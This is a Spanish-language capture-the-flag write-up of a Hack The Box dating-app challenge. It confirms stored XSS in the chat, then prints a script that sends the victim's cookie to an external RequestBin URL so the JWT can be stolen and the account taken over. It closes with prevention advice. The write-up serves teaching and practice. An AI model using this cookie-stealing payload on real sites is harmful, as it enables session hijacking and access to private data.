Este reto de Hack The Box simula una red social de citas. A través de una vulnerabilidad XSS (Cross-Site Scripting), logramos robar la sesión de otro usuario y obtener la flag final del reto.

Accediendo a la página

Iniciamos la máquina y Hack The Box nos entrega el siguiente host:

94.237.63.165:32414

Pegamos el host en el navegador y se abre una red social de citas. Nos registramos con un usuario cualquiera y accedemos a la plataforma.

Explorando la aplicación

Al iniciar sesión, vemos perfiles para hacer "match". Hacemos match con una usuaria llamada Renata y comenzamos a chatear con ella.

Prueba de XSS

Probamos si el campo de chat es vulnerable a XSS con un payload básico:

<script>alert(0)</script>

El mensaje se ejecuta correctamente, confirmando que el chat es vulnerable a XSS reflejado o almacenado.

Revisión del JWT

Inspeccionamos la aplicación con las herramientas del navegador (F12) y en la sección de almacenamiento encontramos una cookie con un JWT (JSON Web Token), el cual mantiene la sesión activa del usuario.

Si logramos robar este token, podemos suplantar la identidad de otro usuario.

Preparando el ataque XSS con RequestBin

Usamos RequestBin para generar un endpoint que reciba las cookies robadas.

Ejemplo de URL generada:

http://requestbin.whapi.cloud/1iavnfa1

Enviamos el siguiente payload XSS a Renata por el chat:

<script>
fetch("http://requestbin.whapi.cloud/1iavnfa1?cookie=" + document.cookie);
</script>

¿Qué hace este script?

  • document.cookie: Obtiene todas las cookies del navegador.
  • fetch(): Envía una petición GET a nuestra URL con las cookies robadas.

Robando la cookie de Renata

Cuando Renata abre el mensaje, su navegador ejecuta el script y su cookie llega a nuestro RequestBin.

Copiamos su JWT y lo usamos en nuestro navegador:

  • Abrimos F12 → Almacenamiento → Cookies.
  • Sustituimos nuestro JWT por el de Renata.
  • Recargamos la página.

Ahora estamos autenticados como Renata.

Obteniendo la flag

Una vez dentro de la cuenta de Renata, abrimos su chat con otro usuario llamado Dimitris. En esa conversación encontramos la flag final del reto.

Conclusiones

Este reto demuestra lo peligroso que puede ser un XSS si no se controla a tiempo. Con una simple línea de código es posible robar sesiones y acceder a información privada.

¿Cómo prevenirlo?

  • Sanitización de entradas: No permitir que los usuarios inserten scripts.
  • Cookies HttpOnly: Impiden que JavaScript acceda a las cookies.
  • SameSite Cookies: Restringen el uso de cookies entre sitios.

Herramientas utilizadas

  • Navegador y herramientas de desarrollador.
  • RequestBin para capturar cookies.
  • Payloads XSS básicos.

Aprendizajes

  • Cómo detectar y explotar una vulnerabilidad XSS.
  • Cómo robar una sesión utilizando JWT.
  • Cómo usar herramientas como RequestBin para capturar datos.

Este material es solo para aprendizaje y CTFs legales. No lo uses en sistemas sin autorización.